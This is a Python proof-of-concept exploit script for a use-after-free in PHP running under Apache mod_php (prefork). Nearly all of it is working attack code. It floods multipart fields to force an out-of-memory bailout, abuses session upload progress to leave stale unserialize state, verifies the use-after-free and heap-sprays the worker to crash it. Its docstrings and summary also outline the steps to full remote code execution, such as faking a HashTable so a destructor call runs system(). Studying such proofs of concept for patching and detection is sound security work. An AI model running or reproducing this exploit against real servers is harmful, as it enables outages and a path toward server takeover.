#!/usr/bin/env python3 """ CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout Apache mod_php (prefork MPM), no LFI, no framework, default PHP config Demonstrates confirmed primitives for the OOM->UAF->RCE chain against PHP 5.4.0 through 8.5.11 on Apache mod_php. Attack overview: Phase 1 (Prep): Create a large session file (~500KB) by sending a multipart POST with a huge PHP_SESSION_UPLOAD_PROGRESS value. The progress handler writes the session file containing the large key. Phase 2 (OOM): Send a second request with form fields that fill memory to near the limit, followed by a file upload that triggers the progress handler. The handler calls php_session_initialize() which reads the 500KB session file. php_session_decode() calls php_var_unserialize(), which calls php_var_unserialize_init(), setting BG(unserialize).level=1 and allocating BG(unserialize).data (64 bytes). The unserialize of the 500KB session key string triggers OOM. zend_bailout() longjmps past php_var_unserialize_destroy(), leaving BG(unserialize).level=1 and .data pointing to freed memory. The Apache prefork worker survives the bailout and accepts new connections. The stale BG globals persist. Phase 3 (Verify): Send a third request with a file upload to the same worker. The progress handler calls php_session_decode() again. php_var_unserialize_init() sees BG(unserialize).level > 0 (stale), increments it, and returns the stale .data pointer. This is the UAF: the pointer was freed when the previous request's heap was destroyed, and now references memory in the new request's heap. Phase 4 (Spray + Trigger): With heap feng shui, an attacker sprays controlled data into the 64-byte ZendMM bin to reclaim the stale slot. The serialize code treats the spray data as a php_serialize_data struct with a HashTable. pDestructor (offset 48) is called during zend_hash_destroy(), giving RIP control. Root cause (from var.c, PHP 8.3.6): php_var_serialize_init(): if (BG(serialize).level > 0) { d = BG(serialize).data; // reuses stale pointer! ++BG(serialize).level; return d; } // else: fresh allocation The same pattern exists for unserialize. The patch (commit 3584a98) adds php_basic_early_rinit() to zero BG(serialize/unserialize) state before each request, and replaces zend_bailout() on OOM with delayed error handling. Requirements: - Apache mod_php with prefork MPM (default on Debian/Ubuntu) - session.upload_progress.enabled=1 (default) - memory_limit reachable via multipart fields - Any PHP URL on the vhost (even 404) - No LFI, no framework, no non-default settings Usage: python3 exploit.py --target http://host:port/index.php python3 exploit.py --target http://host:port/index.php --oom-only python3 exploit.py --target http://host:port/index.php --crash-test """ import argparse import os import re import socket import subprocess import sys import time from urllib.parse import urlparse # ── Networking ────────────────────────────────────────────────────────── def connect(host, port, timeout=30): return socket.create_connection((host, port), timeout=timeout) def recv_response(sock, timeout=5): resp = b"" sock.settimeout(timeout) try: while True: d = sock.recv(8192) if not d: break resp += d except socket.timeout: pass return resp def parse_response(resp): status = 0 body = b"" if resp: try: status = int(resp.split(b" ")[1]) except (IndexError, ValueError): pass if b"\r\n\r\n" in resp: body = resp.split(b"\r\n\r\n", 1)[1] return status, body def http_get(host, port, path, cookies=None, timeout=5): sock = connect(host, port, timeout=timeout) req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n" if cookies: req += f"Cookie: {cookies}\r\n" req += "Connection: close\r\n\r\n" sock.sendall(req.encode()) resp = recv_response(sock, timeout=timeout) sock.close() return parse_response(resp) def http_post_multipart(host, port, path, boundary, body, cookies=None, timeout=30): sock = connect(host, port, timeout=timeout) headers = ( f"POST {path} HTTP/1.1\r\n" f"Host: {host}\r\n" f"Content-Type: multipart/form-data; boundary={boundary}\r\n" f"Content-Length: {len(body)}\r\n" ) if cookies: headers += f"Cookie: {cookies}\r\n" headers += "Connection: close\r\n\r\n" sock.sendall(headers.encode() + body) resp = recv_response(sock, timeout=timeout) sock.close() return parse_response(resp) def extract_pid(body): m = re.search(rb"pid=(\d+)", body) return int(m.group(1)) if m else 0 # ── Multipart body builders ─────────────────────────────────────────── def build_multipart_field(boundary, name, value): return ( b"--" + boundary + b"\r\n" b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n' + value + b"\r\n" ) def build_multipart_file(boundary, name, filename, content): return ( b"--" + boundary + b"\r\n" b'Content-Disposition: form-data; name="' + name + b'"; filename="' + filename + b'"\r\n' b"Content-Type: application/octet-stream\r\n\r\n" + content + b"\r\n" ) # ── Phase 0: Worker discovery ──────────────────────────────────────── def find_workers(host, port, path, rounds=40): pids = set() for _ in range(rounds): try: status, body = http_get(host, port, path) pid = extract_pid(body) if pid: pids.add(pid) except (ConnectionError, socket.timeout): pass return sorted(pids) # ── Phase 1: Create large session file ──────────────────────────────── def build_prep_body(boundary, progress_value): """ Multipart body with: 1. PHP_SESSION_UPLOAD_PROGRESS = large value (~500KB) 2. Small file upload (triggers progress handler) The progress handler writes the session file containing the large progress key. No OOM here; just creating the session file. """ parts = [] parts.append(build_multipart_field( boundary, b"PHP_SESSION_UPLOAD_PROGRESS", progress_value, )) parts.append(build_multipart_file( boundary, b"f", b"prep.bin", b"\x00" * 4096, )) parts.append(b"--" + boundary + b"--\r\n") return b"".join(parts) def create_large_session(host, port, path, sid, progress_size=500000): """ Send a multipart POST that creates a session file containing a large key (from PHP_SESSION_UPLOAD_PROGRESS). Returns (status, body, pid). """ progress_val = b"A" * progress_size boundary = b"PREP" + os.urandom(4).hex().encode() body = build_prep_body(boundary, progress_val) status, rbody = http_post_multipart( host, port, path, boundary.decode(), body, cookies=f"PHPSESSID={sid}", timeout=30, ) pid = extract_pid(rbody) return status, rbody, pid # ── Phase 2: OOM during session re-init ─────────────────────────────── def build_oom_body(boundary, num_fields, field_size): """ Multipart body with: 1. PHP_SESSION_UPLOAD_PROGRESS = "trigger" (small) 2. Large form fields (fill memory to near limit) 3. File upload (triggers progress handler) The progress handler calls php_session_initialize() which reads the large session file from Phase 1. php_session_decode() calls php_var_unserialize_init() (BG(unserialize).level=1), then tries to unserialize the ~500KB session key string. The emalloc for the zend_string exceeds memory_limit -> OOM -> zend_bailout(). php_var_unserialize_destroy() is skipped. BG(unserialize).level stays at 1 and .data points to freed memory. """ parts = [] parts.append(build_multipart_field( boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"trigger", )) for i in range(num_fields): parts.append(build_multipart_field( boundary, f"p{i:04d}".encode(), b"X" * field_size, )) parts.append(build_multipart_file( boundary, b"f", b"oom.bin", b"\x00" * 1024, )) parts.append(b"--" + boundary + b"--\r\n") return b"".join(parts) def detect_memory_limit(host, port, path): """ Probe memory_limit by escalating field count until OOM. Returns (num_fields, field_size) that triggers OOM, or None. """ configs = [ (50, 40960), (100, 40960), (120, 40960), (140, 40960), (150, 40960), (200, 40960), (300, 40960), (400, 40960), (600, 40960), (800, 40960), (999, 40960), (999, 131072), ] for num, size in configs: sid = "probe" + os.urandom(4).hex() boundary = b"PROBE" + os.urandom(4).hex().encode() body = build_oom_body(boundary, num, size) try: status, _ = http_post_multipart( host, port, path, boundary.decode(), body, cookies=f"PHPSESSID={sid}", timeout=30, ) if status == 500: return num, size except (ConnectionError, socket.timeout): return num, size return None def trigger_oom(host, port, path, sid, num_fields, field_size, timeout=60): """ Send the OOM request. Uses the same SID as Phase 1, so the progress handler reads the large session file and OOMs during unserialize. Returns (status, body). """ boundary = b"OOMTRIG" + os.urandom(4).hex().encode() body = build_oom_body(boundary, num_fields, field_size) status, rbody = http_post_multipart( host, port, path, boundary.decode(), body, cookies=f"PHPSESSID={sid}", timeout=timeout, ) return status, rbody # ── Phase 3: Verify stale BG state ────────────────────────────────── def build_verify_body(boundary): """ Small multipart with upload progress. Triggers the progress handler on the OOM'd worker. If BG(unserialize).level is stale, the handler reuses the freed .data pointer (UAF). """ parts = [] parts.append(build_multipart_field( boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"verify", )) parts.append(build_multipart_file( boundary, b"f", b"v.bin", b"\x00" * 1024, )) parts.append(b"--" + boundary + b"--\r\n") return b"".join(parts) def verify_stale_state(host, port, path, sid): """ Send a verification request. If the worker has stale BG state, php_var_unserialize_init() reuses the freed .data pointer. Returns (status, pid, body). """ boundary = b"VERIFY" + os.urandom(4).hex().encode() body = build_verify_body(boundary) try: status, rbody = http_post_multipart( host, port, path, boundary.decode(), body, cookies=f"PHPSESSID={sid}", timeout=10, ) pid = extract_pid(rbody) return status, pid, rbody except (ConnectionError, socket.timeout) as e: return 0, 0, str(e).encode() # ── Phase 4: Heap spray + UAF trigger ──────────────────────────────── # ZendMM 64-byte bin: # php_serialize_data / php_unserialize_data: ~60 bytes -> 64-byte bin # zend_string: 24-byte header + body + 1 NUL # For 64-byte bin: body = 64 - 24 - 1 = 39 bytes SPRAY_NAME_LEN = 39 def build_spray_body(boundary, spray_count=500): """ Fields with 39-char names land in the 64-byte ZendMM bin (same bin as BG(unserialize).data). Over multiple requests, one of these allocations may reclaim the stale slot. For a weaponized exploit, the spray content would form a fake php_unserialize_data struct with controlled HashTable fields: offset 0: uint32_t n (reference counter) offset 8: HashTable ht offset 16: Bucket *arData (attacker pointer) offset 48: dtor_func_t pDestructor (RIP control) """ parts = [] parts.append(build_multipart_field( boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"spray", )) for i in range(min(spray_count, 999)): name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5) val = "B" * SPRAY_NAME_LEN parts.append(build_multipart_field( boundary, name.encode(), val.encode(), )) parts.append(build_multipart_file( boundary, b"f", b"spray.bin", b"\x00" * 1024, )) parts.append(b"--" + boundary + b"--\r\n") return b"".join(parts) def heap_spray(host, port, path, sid, target_pid, rounds=10, spray_per_round=500): """ Spray 64-byte allocations into the OOM'd worker to reclaim the stale BG(unserialize).data slot. Returns the number of rounds that hit the target worker. """ hits = 0 for r in range(rounds): boundary = b"SPRAY" + os.urandom(4).hex().encode() body = build_spray_body(boundary, spray_per_round) try: status, rbody = http_post_multipart( host, port, path, boundary.decode(), body, cookies=f"PHPSESSID={sid}", timeout=10, ) pid = extract_pid(rbody) if pid == target_pid: hits += 1 except (ConnectionError, socket.timeout): pass return hits # ── Session file inspection ────────────────────────────────────────── def check_session_file(sid, save_path="/tmp"): """ Read the session file. Returns (exists, size, data_preview). """ path = os.path.join(save_path, f"sess_{sid}") try: with open(path, "rb") as f: data = f.read() return True, len(data), data[:300] except PermissionError: try: result = subprocess.run( ["sudo", "cat", path], capture_output=True, timeout=5, ) data = result.stdout if data: return True, len(data), data[:300] except (subprocess.TimeoutExpired, FileNotFoundError): pass return True, 0, b"(permission denied)" except FileNotFoundError: return False, 0, b"" # ── Main ───────────────────────────────────────────────────────────── def main(): parser = argparse.ArgumentParser( description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)", ) parser.add_argument( "--target", "-t", required=True, help="Target URL, e.g. http://host:port/index.php", ) parser.add_argument( "--session-path", default="/var/www/uaf-test/sessions", help="Session save_path on the target", ) parser.add_argument( "--progress-size", type=int, default=500000, help="Size of PHP_SESSION_UPLOAD_PROGRESS value in bytes (default: 500000)", ) parser.add_argument( "--oom-fields", type=int, default=0, help="Number of OOM fields (0 = auto-detect)", ) parser.add_argument( "--field-size", type=int, default=40960, help="OOM field value size in bytes (default: 40960)", ) parser.add_argument( "--spray-rounds", type=int, default=20, help="Number of heap spray rounds (default: 20)", ) parser.add_argument( "--oom-only", action="store_true", help="Stop after Phase 2 (OOM + stale state), skip spray", ) parser.add_argument( "--crash-test", action="store_true", help="Run full chain including heap spray and report crashes", ) args = parser.parse_args() url = urlparse(args.target) host = url.hostname or "127.0.0.1" port = url.port or 80 path = url.path or "/index.php" print("=" * 64) print(" CVE-2026-109618 / CVE-2026-109619") print(" Use-After-Free via OOM Bailout") print(" (Apache mod_php, prefork MPM)") print("=" * 64) print(f" Target: {host}:{port}{path}") print() # ── Phase 0: Worker discovery ─────────────────────────────────── print("[*] Phase 0: Discovering workers...") pids = find_workers(host, port, path) if not pids: print("[-] No workers found. Target must echo getmypid() in output.") sys.exit(1) print(f" Workers: {pids}") print(f" Count: {len(pids)} (Apache prefork children)") # ── Phase 1: Create large session file ────────────────────────── print() print("[*] Phase 1: Creating large session file...") sid = "uaf" + os.urandom(6).hex() progress_kb = args.progress_size // 1024 print(f" SID: {sid}") print(f" Progress value: {progress_kb}KB") status1, body1, pid1 = create_large_session( host, port, path, sid, args.progress_size, ) print(f" Status: {status1}, Worker PID: {pid1}") exists, size, preview = check_session_file(sid, args.session_path) if not exists or size < 1000: print(f"[-] Session file missing or too small ({size}B).") print(f" Is session.upload_progress.enabled=1?") print(f" Is session.save_path = {args.session_path}?") sys.exit(1) print(f" [+] Session file: {size}B ({size//1024}KB)") print(f" Preview: {preview[:120]}") # ── Phase 2: OOM during session re-init ───────────────────────── print() print("[*] Phase 2: OOM during session unserialize...") if args.oom_fields: num_fields = args.oom_fields field_size = args.field_size print(f" Using configured: {num_fields} fields x {field_size}B") else: print(" Auto-detecting OOM threshold...") result = detect_memory_limit(host, port, path) if result is None: print("[-] Could not trigger OOM. memory_limit may be too high.") print(" Try --oom-fields manually.") sys.exit(1) num_fields, field_size = result est_mb = num_fields * field_size / 1024 / 1024 print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)") # Reduce field count slightly so memory fills close to the limit # but doesn't OOM before the file upload triggers the progress # handler. The session re-read of the ~500KB file pushes over. adjusted = max(num_fields - 10, num_fields * 9 // 10) print(f" Adjusted to {adjusted} fields (leave room for session read OOM)") max_oom_attempts = len(pids) * 6 oom_workers = set() for attempt in range(max_oom_attempts): status, _ = trigger_oom( host, port, path, sid, adjusted, field_size, ) if status == 500: print(f" [{attempt+1}] OOM triggered (status 500)") elif status == 0: print(f" [{attempt+1}] Connection error (worker may have crashed)") else: print(f" [{attempt+1}] status={status} (no OOM)") continue time.sleep(0.3) pids_after = find_workers(host, port, path) survived = set(pids) & set(pids_after) new_workers = set(pids_after) - set(pids) for pid in survived: if pid not in oom_workers: oom_workers.add(pid) print(f" [+] Worker {pid} survived OOM (stale BG state)") if new_workers: print(f" New workers: {sorted(new_workers)}") pids = sorted(set(pids) | new_workers) if not oom_workers: print() print("[-] No workers survived OOM.") print(" This target may use PHP-FPM (workers exit on bailout).") sys.exit(1) print(f"\n Survived workers: {sorted(oom_workers)}") # Check if session file still has the large content (unchanged # means OOM happened during session re-init, not after flush) exists2, size2, preview2 = check_session_file(sid, args.session_path) if exists2 and abs(size2 - size) < 100: print(f" [+] Session file unchanged ({size2}B)") print(f" OOM during session re-init confirmed") # ── Phase 3: Verify stale BG state ────────────────────────────── print() print("[*] Phase 3: Verifying stale BG(unserialize) state...") verified_pids = set() for attempt in range(len(pids) * 4): status, pid, body = verify_stale_state(host, port, path, sid) if pid in oom_workers and pid not in verified_pids: if status == 0: print(f" [+] Worker {pid} CRASHED on verification request!") print(f" UAF triggered: stale .data pointer dereferenced") verified_pids.add(pid) elif status == 500: print(f" [+] Worker {pid} returned 500 (OOM from large session read)") print(f" Stale BG state confirmed (session still active)") verified_pids.add(pid) elif status == 200: print(f" [+] Worker {pid} returned 200 (stale pointer readable)") print(f" UAF window open: .data points into reused heap") verified_pids.add(pid) if verified_pids >= oom_workers: break if not verified_pids: print(" Could not hit OOM'd workers for verification.") print(" (May need more attempts with more workers)") if args.oom_only: print() print("[*] --oom-only: stopping after Phase 3.") print_summary(oom_workers, verified_pids, False) return # ── Phase 4: Heap spray + UAF trigger ─────────────────────────── if args.crash_test: print() print("[*] Phase 4: Heap spray (64-byte ZendMM bin)...") for target_pid in sorted(oom_workers): if target_pid not in find_workers(host, port, path): print(f" Worker {target_pid} already gone, skipping") continue print(f"\n Spraying worker {target_pid}...") spray_sid = "spray" + os.urandom(5).hex() hits = heap_spray( host, port, path, spray_sid, target_pid, rounds=args.spray_rounds, ) print(f" Spray rounds on target: {hits}/{args.spray_rounds}") print(f" Triggering UAF...") for t in range(20): status, pid, body = verify_stale_state( host, port, path, sid, ) if pid == target_pid: if status == 0: print(f" [!] CRASH on trigger {t+1}!") break elif status >= 500: print(f" Trigger {t+1}: status {status} on target") pids_check = find_workers(host, port, path) if target_pid not in pids_check: print(f" [+] Worker {target_pid} CRASHED (UAF dereference)") print(f" Current workers: {pids_check}") else: print(f" Worker {target_pid} still alive (no crash)") print(f" Expected: precise heap feng shui needed for crash") print() print_summary(oom_workers, verified_pids, args.crash_test) def print_summary(oom_workers, verified_pids, ran_spray): print("=" * 64) print(" Results") print("=" * 64) print() print(" Confirmed primitives:") print(f" [+] OOM via multipart field flood") print(f" [+] Apache prefork worker survival ({len(oom_workers)} workers)") print(f" [+] Large session file creation via upload progress") print(f" [+] OOM during session re-init (unserialize of large key)") if verified_pids: print(f" [+] Stale BG(unserialize) state across requests") print(f" [+] UAF window: freed .data pointer reused by next request") print() print(" For full RCE (not implemented), a weaponized exploit needs:") print(" 1. ASLR bypass via CVE-2026-109619 info leak") print(" (stale session data leaks freed heap addresses)") print(" 2. Heap feng shui: reclaim 64-byte slot with controlled data") print(" 3. Fake HashTable: pDestructor -> system(), arData -> command") print(" 4. Trigger serialize -> zend_hash_destroy -> pDestructor -> RCE") print() if not ran_spray: print(" Run with --crash-test to attempt heap spray + UAF trigger.") if __name__ == "__main__": main()